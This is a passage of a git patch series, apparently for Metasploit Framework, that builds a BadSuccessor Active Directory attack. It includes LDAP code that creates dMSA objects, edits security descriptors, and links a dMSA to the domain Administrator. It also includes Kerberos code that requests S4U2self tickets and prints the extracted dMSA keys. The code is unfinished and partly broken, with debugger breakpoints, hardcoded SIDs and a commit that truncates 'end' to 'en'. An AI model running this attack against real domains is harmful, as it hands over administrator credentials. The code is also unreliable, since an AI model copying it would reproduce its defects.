encode_subject_certificate + OpenSSL::ASN1::OctetString.new(subject_certificate) + end + + # Encodes the options attribute + # + # @return [OpenSSL::ASN1::BitString] + def encode_options + OpenSSL::ASN1::BitString.new(options) + end + + # Decodes the S4UUserID from a String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes the S4UUserID from an OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + seq_values = input.value + + seq_values.each do |val| + case val.tag + when 0 + self.nonce = val.value[0].value.to_i + when 1 + self.cname = Rex::Proto::Kerberos::Model::PrincipalName.decode(val.value[0]) + when 2 + self.crealm = val.value[0].value + when 3 + self.subject_certificate = val.value[0].value + when 4 + self.options = val.value[0].value + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode S4UUserID SEQUENCE' + end + end + end + end + end + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/admin/kerberos/get_ticket.rb b/modules/auxiliary/admin/kerberos/get_ticket.rb index 009ebb67d2d9a..9b84fcf4b4dcc 100644 --- a/modules/auxiliary/admin/kerberos/get_ticket.rb +++ b/modules/auxiliary/admin/kerberos/get_ticket.rb @@ -50,9 +50,10 @@ def initialize(info = {}) OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]), OptPath.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]), OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]), + OptBool.new('DMSA', [ false, 'Set to true if the account you are impersonating is a dMSA account' ]), OptString.new( 'NTHASH', [ - false, + false, 'The NT hash in hex string. Server must support RC4' ] ), @@ -90,6 +91,7 @@ def initialize(info = {}) end def validate_options + if datastore['CERT_FILE'].present? pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self) @pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value] @@ -204,7 +206,36 @@ def action_get_tgs end credential = authenticator.request_tgt_only(tgt_request_options) - if datastore['IMPERSONATE'].present? + if datastore['IMPERSONATE'].present? && datastore['DMSA'] == true + print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})") + + sname = Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, + name_string: [ + "krbtgt", + @realm + ] + ) + + nonce = rand(9) + auth_options = { + sname: sname, + impersonate: datastore['IMPERSONATE'], + nonce: nonce, + dmsa: true + } + tgs_ticket, _tgs_auth = authenticator.s4u2self( + credential, + auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true)) + ) + + # auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new( + # name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, + # name_string: datastore['SPN'].split('/') + # ) + auth_options[:tgs_ticket] = tgs_ticket + # authenticator.s4u2proxy(credential, auth_options) + elsif datastore['IMPERSONATE'].present? print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})") sname = Rex::Proto::Kerberos::Model::PrincipalName.new( diff --git a/modules/auxiliary/admin/ldap/bad_successor.rb b/modules/auxiliary/admin/ldap/bad_successor.rb index 3b89074e9f869..6448a91537ee9 100644 --- a/modules/auxiliary/admin/ldap/bad_successor.rb +++ b/modules/auxiliary/admin/ldap/bad_successor.rb @@ -160,8 +160,8 @@ def create_dmsa(account_name, writeable_dn) 'msds-supportedencryptiontypes' => ["28"], 'msds-managedpasswordid' => ["\x01\x00\x00\x00KDSK\x02\x00\x00\x00k\x01\x00\x00\v\x00\x00\x00\a\x00\x00\x00\xC7\x14\x863y\xD1WQ\x8C\x9A4\xCC\xD6;\xF8x\x00\x00\x00\x00\x14\x00\x00\x00\x14\x00\x00\x00m\x00s\x00f\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00m\x00s\x00f\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00"], 'msds-managedpasswordinterval' => ["30"], - 'msds-delegatedmsastate' => ["2"], - 'msds-managedaccountprecededbylink'=> ["CN=Administrator,CN=Users,DC=msf,DC=local"], + 'msds-delegatedmsastate' => ["0"], + # 'msds-managedaccountprecededbylink'=> ["CN=Administrator,CN=Users,DC=msf,DC=local"], 'name' => [account_name] } @@ -188,6 +188,85 @@ def create_dmsa(account_name, writeable_dn) end + def ms_security_descriptor_control(flags) + control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber + [LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence + end + + def build_ace(sid) + Rex::Proto::MsDtyp::MsDtypAce.new({ + header: { + ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + }, + body: { + access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL, + sid: sid + } + }) + end + + def grant_write_all_properties(dmsa_dn, user_sid) + print_status("Granting 'Write all properties' permission for dMSA object: #{dmsa_dn}") + + # Retrieve the current security descriptor + attributes = ['nTSecurityDescriptor'] + entry = @ldap.search(base: dmsa_dn, attributes: attributes, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)])&.first + unless entry + fail_with(Failure::NotFound, "Failed to retrieve security descriptor for #{dmsa_dn}") + end + + security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry['nTSecurityDescriptor'].first) + unless security_descriptor.dacl + fail_with(Failure::BadConfig, "No DACL found on the security descriptor for #{dmsa_dn}") + end + + # Add ACE for "Write all properties" + ace = Rex::Proto::MsDtyp::MsDtypAce.new({ + header: { + ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + }, + body: { + access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask.new({ protocol: 0x20 }), # Write all properties + sid: Rex::Proto::MsDtyp::MsDtypSid.new(user_sid) + } + }) + + your_sid = "S-1-5-21-549140833-564715882-1385822508-1103" + puts "Effective ACEs with WRITE_DAC for #{your_sid}:" + + security_descriptor.dacl.aces.each do |ace| + require 'pry-byebug'; binding.pry if ace.body.sid == your_sid && (ace[:protocol] & 0x10 != 0) + end + + security_descriptor.dacl[:aces] << ace + print_status("Added ACE for 'Write all properties' with access mask 0x20") + + # Update the security descriptor on the LDAP server + unless @ldap.modify(dn: dmsa_dn, operations: [[:replace, 'nTSecurityDescriptor', security_descriptor.to_s]]) + fail_with(Failure::Unknown, "Failed to update security descriptor for #{dmsa_dn}") + end + + print_good("Successfully granted 'Write all properties' permission for dMSA object: #{dmsa_dn}") + end + + def set_dmsa_attributes(dn, delegated_state, preceded_by_link) + print_status("Setting attributes for dMSA object: #{dn}") + + # Define the attributes to update + operations = [ + [:replace, 'msds-delegatedmsastate', [delegated_state]], + [:replace, 'msds-managedaccountprecededbylink', [preceded_by_link]] + ] + + # Perform the LDAP modify operation + unless @ldap.modify(dn: dn, operations: operations) + res = @ldap.get_operation_result + fail_with(Failure::Unknown, "Failed to update attributes for #{dn}: #{res.message} - #{res.error_message}") + end + + print_good("Successfully updated attributes for dMSA object: #{dn}") + end + def query_account(account_name) base_dn = 'OU=BadBois,DC=msf,DC=local' @@ -222,6 +301,41 @@ def query_account(account_name) end + def create_computer_account(computer_account, writeable_dn) + dn = "CN=#{computer_account},#{writeable_dn}" + print_status("Attempting to dmsa account cn: #{computer_account}, dn: #{dn}") + computer_attributes = { + 'objectclass' => ["top", "person", "organizationalPerson", "user", "computer"], + 'cn' => [computer_account], + 'useraccountcontrol' => ["4096"], + 'samaccountname' => [computer_account + '$'], + 'dnshostname' => ["dontcare.com"], + 'userPassword' =>["N0tpassword!"], + 'name' => [computer_account] + } + + unless @ldap.add(dn: dn, attributes: computer_attributes) + + res = @ldap.get_operation_result + + case res.code + when Net::LDAP::ResultCodeInsufficientAccessRights + print_error("Insufficient access to create dMSA seed") + when Net::LDAP::ResultCodeEntryAlreadyExists + print_error("Seed object #{account_name} already exists") + when Net::LDAP::ResultCodeConstraintViolation + print_error("Constraint violation: #{res.error_message}") + else + print_error("#{res.message}: #{res.error_message}") + end + + return false + end + + print_good("Created dmsa #{computer_account}") + true + end + def run ldap_connect do |ldap| validate_bind_success!(ldap) @@ -263,9 +377,18 @@ def run fail_with(Failure::NoTarget, "There are no Organization Units we can write to, the exploit can not continue") if ous.empty? account_name = Faker::Internet.username(separators: '') + #computer_account = Faker::Internet.username(separators: '') + #computer_account = "server1" + account_name = "attackie_boi" print_good("Found #{ous.length} OUs we can write to") - create_dmsa(account_name, writeable_dn) - query_account(account_name) + #create_computer_account(computer_account, writeable_dn) + #generate_ + #create_dmsa(account_name, writeable_dn) + require'pry-byebug';binding.pry + query_account("attackie_boi") + # You already have Write All Properties :hmmm: + #grant_write_all_properties("CN=#{account_name},#{writeable_dn}", Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first)) + set_dmsa_attributes("CN=#{account_name},#{writeable_dn}","2", "CN=Administrator,CN=Users,DC=msf,DC=local") end end end \ No newline at end of file From 455b18ffbc6bd62ace8f56da9d115b98c508227b Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 31 Jul 2025 13:46:31 -0700 Subject: [PATCH 3/9] Parsing dMSA key package successfully --- .../kerberos/service_authenticator/base.rb | 6 ++- .../proto/kerberos/model/dmsa_key_package.rb | 37 +++++++++++-- lib/rex/proto/kerberos/model/kerberos_time.rb | 21 ++++++++ .../kerberos/model/pre_auth_data_entry.rb | 1 - .../kerberos/model/pre_auth_s4u_x509_user.rb | 1 - lib/rex/proto/kerberos/model/s4_user_id.rb | 2 +- .../auxiliary/admin/kerberos/get_ticket.rb | 54 ++++++++++++++++++- 7 files changed, 113 insertions(+), 9 deletions(-) create mode 100644 lib/rex/proto/kerberos/model/kerberos_time.rb diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index 78db0dbfb277a..43b3828e560e2 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -400,6 +400,7 @@ def request_tgs_only(credential, options = {}) return ccache end + require 'pry-byebug';binding.pry auth_context = authenticate_via_krb5_ccache_credential_tgt(credential, options) auth_context[:credential] end @@ -687,6 +688,9 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE, Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE, Rex::Proto::Kerberos::Model::KdcOptionFlags::CANONICALIZE, + # Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDED, + # Rex::Proto::Kerberos::Model::KdcOptionFlags::PRE_AUTHENT, + # Rex::Proto::Kerberos::Model::KdcOptionFlags::OK_AS_DELEGATE, ]) if options[:additional_flags].present? additional_flags = options[:additional_flags] @@ -747,8 +751,6 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new(res: tgs_res) end - require 'pry-byebug';binding.pry - print_good("#{peer} - Received a valid TGS-Response") ccache = extract_kerb_creds( diff --git a/lib/rex/proto/kerberos/model/dmsa_key_package.rb b/lib/rex/proto/kerberos/model/dmsa_key_package.rb index ad110fe2da915..4f77e76b66641 100644 --- a/lib/rex/proto/kerberos/model/dmsa_key_package.rb +++ b/lib/rex/proto/kerberos/model/dmsa_key_package.rb @@ -45,7 +45,6 @@ def decode_string(input) def decode_asn1(input) seq_values = input.value - self.current_keys = decode_keys(seq_values[0]) self.previous_keys = seq_values[1] ? decode_keys(seq_values[1]) : nil self.expiration_interval = decode_time(seq_values[2]) @@ -53,7 +52,27 @@ def decode_asn1(input) end def decode_keys(input) - input.value.map { |key| EncryptionKey.decode(key) } + elements = input.is_a?(OpenSSL::ASN1::ASN1Data) ? input.value : input + elements.map do |element| + if element.is_a?(Array) + element.map { |sub_element| decode_type(sub_element) } + else + decode_type(element) + end + end + end + + def decode_type(element) + case element + when OpenSSL::ASN1::Integer + element.value.to_i + when OpenSSL::ASN1::OctetString + element.value + when OpenSSL::ASN1::Sequence, OpenSSL::ASN1::ASN1Data + element.value.map { |sub_element| decode_type(sub_element) } + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, "Unsupported element type: #{element.class}" + end end def encode_keys(keys) @@ -61,7 +80,19 @@ def encode_keys(keys) end def decode_time(input) - KerberosTime.decode(input.value[0]) + case input + when OpenSSL::ASN1::ASN1Data + generalized_time = input.value.first + if generalized_time.is_a?(OpenSSL::ASN1::GeneralizedTime) + Time.parse(generalized_time.value.to_s) + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, "Unsupported time element type in ASN1Data: #{generalized_time.class}" + end + when OpenSSL::ASN1::GeneralizedTime + Time.parse(input.value.to_s) + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, "Unsupported time element type: #{input.class}" + end end def encode_time(time) diff --git a/lib/rex/proto/kerberos/model/kerberos_time.rb b/lib/rex/proto/kerberos/model/kerberos_time.rb new file mode 100644 index 0000000000000..9c0250bf4aa64 --- /dev/null +++ b/lib/rex/proto/kerberos/model/kerberos_time.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of KerberosTime + class KerberosTime + def self.decode(input) + # Example decoding logic for KerberosTime + Time.at(input.to_i) + end + + def self.encode(time) + # Example encoding logic for KerberosTime + OpenSSL::ASN1::Integer.new(time.to_i) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb b/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb index fc0e7b000e24a..f96d08af540d5 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb @@ -83,7 +83,6 @@ def decoded_value decoded = OpenSSL::ASN1.decode(self.value) KerbSupersededByUser.decode(decoded) when Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE - require 'pry-byebug';binding.pry decoded = OpenSSL::ASN1.decode(self.value) DmsaKeyPackage.decode(decoded) else diff --git a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb index 6f7b1a15adcb6..69ad326afbd4b 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb @@ -32,7 +32,6 @@ def get_checksum(key, data) # @param e_type [Symbol] The encryption type # @param dmsa [Boolean] Whether the request is for dMSA def initialize(key, impersonate, realm, nonce, e_type: Rex::Proto::Kerberos::Crypto::Encryption::AES256, dmsa: false) - # hex_key = "82DA67D0EFF7387F59038E7611EF18C0253797C15B7433F2ADE23418A31370F6" # impersonate = "attacker_dMSA$" # realm = "msf.local" diff --git a/lib/rex/proto/kerberos/model/s4_user_id.rb b/lib/rex/proto/kerberos/model/s4_user_id.rb index be1fe3d978627..8a8ec70841b7c 100644 --- a/lib/rex/proto/kerberos/model/s4_user_id.rb +++ b/lib/rex/proto/kerberos/model/s4_user_id.rb @@ -37,7 +37,7 @@ class S4UUserID < Element def initialize(name, realm, nonce, dmsa: false) self.nonce = nonce - + puts 'test' # Set cname name_type based on dMSA flag self.cname = Rex::Proto::Kerberos::Model::PrincipalName.new( name_type: dmsa ? NameType::NT_PRINCIPAL : NameType::NT_ENTERPRISE, diff --git a/modules/auxiliary/admin/kerberos/get_ticket.rb b/modules/auxiliary/admin/kerberos/get_ticket.rb index 9b84fcf4b4dcc..c94ca021d0953 100644 --- a/modules/auxiliary/admin/kerberos/get_ticket.rb +++ b/modules/auxiliary/admin/kerberos/get_ticket.rb @@ -224,11 +224,25 @@ def action_get_tgs nonce: nonce, dmsa: true } - tgs_ticket, _tgs_auth = authenticator.s4u2self( + tgs_ticket, tgs_auth = authenticator.s4u2self( credential, auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true)) ) + # when Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE + # decoded = OpenSSL::ASN1.decode(self.value) + # DmsaKeyPackage.decode(decoded) + tgs_auth.pa_data.each do |pa_data| + if pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE + dmsa_key_package = Rex::Proto::Kerberos::Model::DmsaKeyPackage.decode(pa_data.value) + print_dmsa_key_package_info(dmsa_key_package) + + end + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e + print_error("#{peer} - Failed to decode dMSA Key Package: #{e.message}") + return + end + # auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new( # name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, # name_string: datastore['SPN'].split('/') @@ -273,6 +287,44 @@ def action_get_tgs end end + def print_dmsa_key_package_info(dmsa_key_package) + puts "dMSA Key Package:" + + # Helper method to decode encryption type + def decode_encryption_type(type) + case type + when 18 + "AES256" + when 17 + "AES128" + when 23 + "RC4" + else + "Unknown" + end + end + + # Print current keys + puts "Current Keys:" + dmsa_key_package.current_keys.each do |key_set| + key_set.each do |key| + type = decode_encryption_type(key[0][0]) + value = key[1][0] + puts " Type: #{type}, Key: #{value.unpack1('H*')}" + end + end + + # Print previous keys + puts "Previous Keys:" + dmsa_key_package.previous_keys.each do |key_set| + key_set.each do |key| + type = decode_encryption_type(key[0][0]) + value = key[1][0] + puts " Type: #{type}, Key: #{value.unpack1('H*')}" + end + end + end + def action_get_hash authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) }) auth_context = authenticator.authenticate_via_kdc(options) From ac13e5894956abfe69adbefe33d7b3f22056c6b5 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 1 Aug 2025 14:14:28 -0700 Subject: [PATCH 4/9] tgs ticket working with psexec with minor error --- .../remote/kerberos/client/tgs_request.rb | 37 +++++++++++++++---- .../kerberos/service_authenticator/base.rb | 14 ++++--- .../kerberos/model/pre_auth_s4u_x509_user.rb | 4 +- lib/rex/proto/kerberos/model/s4_user_id.rb | 2 +- .../auxiliary/admin/kerberos/get_ticket.rb | 2 + 5 files changed, 43 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb index 105566e781e80..e643275301188 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb @@ -94,6 +94,25 @@ def build_tgs_request(opts = {}) ) pa_data << pa_pac + else + ###################### YOU CAN'T JUST ADD THIS HERE BUT YOU ARE FOR TESTING the "FINAL BOSS \/ \/ \/ \/ \/ + pa_pac_options_flags = Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags.from_flags( + [ + Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags::BRANCH_AWARE + ] + ) + + pa_pac_options = Rex::Proto::Kerberos::Model::PreAuthPacOptions.new( + flags: pa_pac_options_flags + ) + + pa_pac = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new( + type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_OPTIONS, + value: pa_pac_options.encode + ) + + pa_data << pa_pac + ###################### YOU CAN'T JUST ADD THIS HERE BUT YOU ARE FOR TESTING the "FINAL BOSS" ^^^^^^ end @@ -101,6 +120,7 @@ def build_tgs_request(opts = {}) opts[:pa_data].each { |pa| pa_data.push(pa) } end + print_tgs_req_debug(body: body, pa_data: pa_data) request = Rex::Proto::Kerberos::Model::KdcRequest.new( @@ -324,10 +344,11 @@ def build_subkey(opts={}) # @see Rex::Proto::Kerberos::Model::PrincipalName # @see Rex::Proto::Kerberos::Model::KdcRequestBody def build_tgs_request_body(opts = {}) - options = opts.fetch(:options) { 0x50800000 } # Forwardable, Proxiable, Renewable - from = opts.fetch(:from) { Time.at(0).utc } + #options = opts.fetch(:options) { 0x50800000 } # Forwardable, Proxiable, Renewable + options = opts.fetch(:options) { 0x60810010 } # Forwardable, Proxiable, Renewable + # from = opts.fetch(:from) { Time.at(0).utc } till = opts.fetch(:till) { Time.at(0).utc } - rtime = opts.fetch(:rtime) { Time.at(0).utc } + # rtime = opts.fetch(:rtime) { Time.at(0).utc } nonce = opts.fetch(:nonce) { Rex::Text.rand_text_numeric(6).to_i } etype = opts.fetch(:etype) { [Rex::Proto::Kerberos::Crypto::Encryption::DefaultEncryptionType] } cname = opts.fetch(:cname) { build_client_name(opts) } @@ -341,9 +362,9 @@ def build_tgs_request_body(opts = {}) cname: cname, realm: realm, sname: sname, - from: from, + #from: from, till: till, - rtime: rtime, + #rtime: rtime, nonce: nonce, etype: etype, enc_auth_data: enc_auth_data, @@ -351,9 +372,11 @@ def build_tgs_request_body(opts = {}) ) # Do what rubeus does - for now - just debugging + body.etype.add(18) body.etype.add(17) - body.etype.add(24) - body.etype.add(3) + body.etype.add(23) + #body.etype.add(24) - not defined currently - maybe define it? + body end diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index 43b3828e560e2..e4e7d34c181e6 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -400,7 +400,6 @@ def request_tgs_only(credential, options = {}) return ccache end - require 'pry-byebug';binding.pry auth_context = authenticate_via_krb5_ccache_credential_tgt(credential, options) auth_context[:credential] end @@ -688,9 +687,10 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE, Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE, Rex::Proto::Kerberos::Model::KdcOptionFlags::CANONICALIZE, - # Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDED, + Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDED, # Rex::Proto::Kerberos::Model::KdcOptionFlags::PRE_AUTHENT, # Rex::Proto::Kerberos::Model::KdcOptionFlags::OK_AS_DELEGATE, + Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE_OK, ]) if options[:additional_flags].present? additional_flags = options[:additional_flags] @@ -710,12 +710,12 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, nonce: options[:nonce] || nil, # Specify nil to ensure the KDC uses the current time for the desired starttime of the requested ticket - from: Time.at(0).utc, + # from: Time.at(0).utc, till: expiry_time, - rtime: Time.at(0).utc, + # rtime: Time.at(0).utc, # certificate time - ctime: now + #ctime: now } if options[:additional_tickets].present? additional_tickets = options[:additional_tickets] @@ -848,6 +848,7 @@ def authenticate_via_krb5_ccache_credential_tgs(credential, options = {}) def authenticate_via_krb5_ccache_credential_tgt(credential, options = {}) realm = self.realm.upcase sname = options.fetch(:sname) + nonce = options.fetch(:nonce) client_name = username now = Time.now.utc @@ -862,7 +863,8 @@ def authenticate_via_krb5_ccache_credential_tgt(credential, options = {}) etypes = Set.new([credential.keyblock.enctype.value]) tgs_options = { pa_data: [], - ticket_storage: ticket_storage + ticket_storage: ticket_storage, + nonce: nonce } tgs_ticket, tgs_auth = request_service_ticket( diff --git a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb index 69ad326afbd4b..2f44c738bdeef 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb @@ -46,7 +46,7 @@ def initialize(key, impersonate, realm, nonce, e_type: Rex::Proto::Kerberos::Cry # Encodes the PA-S4U-X509-USER structure into an ASN.1 String # # @return [String] - def encode + def encode elems = [] elems << OpenSSL::ASN1::ASN1Data.new([user_id.encode], 0, :CONTEXT_SPECIFIC) elems << OpenSSL::ASN1::ASN1Data.new([checksum.encode], 1, :CONTEXT_SPECIFIC) @@ -54,7 +54,7 @@ def encode seq = OpenSSL::ASN1::Sequence.new(elems) seq.to_der - end + end # Decodes the PA-S4U-X509-USER structure from an input # diff --git a/lib/rex/proto/kerberos/model/s4_user_id.rb b/lib/rex/proto/kerberos/model/s4_user_id.rb index 8a8ec70841b7c..348f0d67f0e1c 100644 --- a/lib/rex/proto/kerberos/model/s4_user_id.rb +++ b/lib/rex/proto/kerberos/model/s4_user_id.rb @@ -37,7 +37,7 @@ class S4UUserID < Element def initialize(name, realm, nonce, dmsa: false) self.nonce = nonce - puts 'test' + puts 'testinggggggg' # Set cname name_type based on dMSA flag self.cname = Rex::Proto::Kerberos::Model::PrincipalName.new( name_type: dmsa ? NameType::NT_PRINCIPAL : NameType::NT_ENTERPRISE, diff --git a/modules/auxiliary/admin/kerberos/get_ticket.rb b/modules/auxiliary/admin/kerberos/get_ticket.rb index c94ca021d0953..e8479b7d0f190 100644 --- a/modules/auxiliary/admin/kerberos/get_ticket.rb +++ b/modules/auxiliary/admin/kerberos/get_ticket.rb @@ -278,8 +278,10 @@ def action_get_tgs name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, name_string: datastore['SPN'].split('/') ) + nonce = rand(9999999999) tgs_options = { sname: sname, + nonce: nonce, ticket_storage: kerberos_ticket_storage(read: false) } From e07b42691b375bfd4f504cbd26ebf1f7de2db982 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 14 Aug 2025 12:53:16 -0700 Subject: [PATCH 5/9] Minor fixes --- .../Attacking-AD-CS-ESC-Vulnerabilities.md | 2 +- .../exploit/remote/kerberos/client/tgs_request.rb | 3 ++- .../proto/kerberos/model/pre_auth_s4u_x509_user.rb | 5 ----- lib/rex/proto/kerberos/model/s4_user_id.rb | 1 - modules/auxiliary/admin/kerberos/get_ticket.rb | 14 ++++++-------- modules/auxiliary/admin/ldap/bad_successor.rb | 4 ++-- 6 files changed, 11 insertions(+), 18 deletions(-) diff --git a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index 301422088ab96..3865e6cf057d3 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -1384,7 +1384,7 @@ Steps for exploiting ESC15 are similar to ESC1 whereby a privileged user such as which adjusts the context in which the issued certificate can be used. These policy OIDs are accepted by the issuing CA if the target certificate template is defined using schema version 1. -In the following example, the Client Authentication OID (1.3.6.1.5.5.7.3.2) is added which enables the certificate to be0 +In the following example, the Client Authentication OID (1.3.6.1.5.5.7.3.2) is added which enables the certificate to be used for authentication to LDAP via SCHANNEL. The operator can then perform LDAP queries with the privileges of the user specified in the alternate UPN. diff --git a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb index e643275301188..d1bbe98f80341 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb @@ -37,7 +37,7 @@ def build_tgs_request(opts = {}) ) else enc_auth_data = nil - end + en body = opts.fetch(:body) do build_tgs_request_body(opts.merge( @@ -58,6 +58,7 @@ def build_tgs_request(opts = {}) authenticator_enc_key_usage: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REQ_PA_TGS_REQ_AP_REQ_AUTHENTICATOR )) end + ap_req = opts.fetch(:ap_req) { build_ap_req(opts.merge(authenticator: authenticator)) } pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new( diff --git a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb index 2f44c738bdeef..603b13077119c 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb @@ -32,11 +32,6 @@ def get_checksum(key, data) # @param e_type [Symbol] The encryption type # @param dmsa [Boolean] Whether the request is for dMSA def initialize(key, impersonate, realm, nonce, e_type: Rex::Proto::Kerberos::Crypto::Encryption::AES256, dmsa: false) - # hex_key = "82DA67D0EFF7387F59038E7611EF18C0253797C15B7433F2ADE23418A31370F6" - # impersonate = "attacker_dMSA$" - # realm = "msf.local" - # nonce = 474497095 - # key = [hex_key].pack("H*") self.user_id = S4UUserID.new(impersonate, realm, nonce, dmsa: dmsa) self.checksum = Rex::Proto::Kerberos::Model::Checksum.new(type: Rex::Proto::Kerberos::Crypto::Encryption::DES3_CBC_SHA1, checksum: get_checksum(key.value, user_id.encode)) diff --git a/lib/rex/proto/kerberos/model/s4_user_id.rb b/lib/rex/proto/kerberos/model/s4_user_id.rb index 348f0d67f0e1c..e4be49057330f 100644 --- a/lib/rex/proto/kerberos/model/s4_user_id.rb +++ b/lib/rex/proto/kerberos/model/s4_user_id.rb @@ -37,7 +37,6 @@ class S4UUserID < Element def initialize(name, realm, nonce, dmsa: false) self.nonce = nonce - puts 'testinggggggg' # Set cname name_type based on dMSA flag self.cname = Rex::Proto::Kerberos::Model::PrincipalName.new( name_type: dmsa ? NameType::NT_PRINCIPAL : 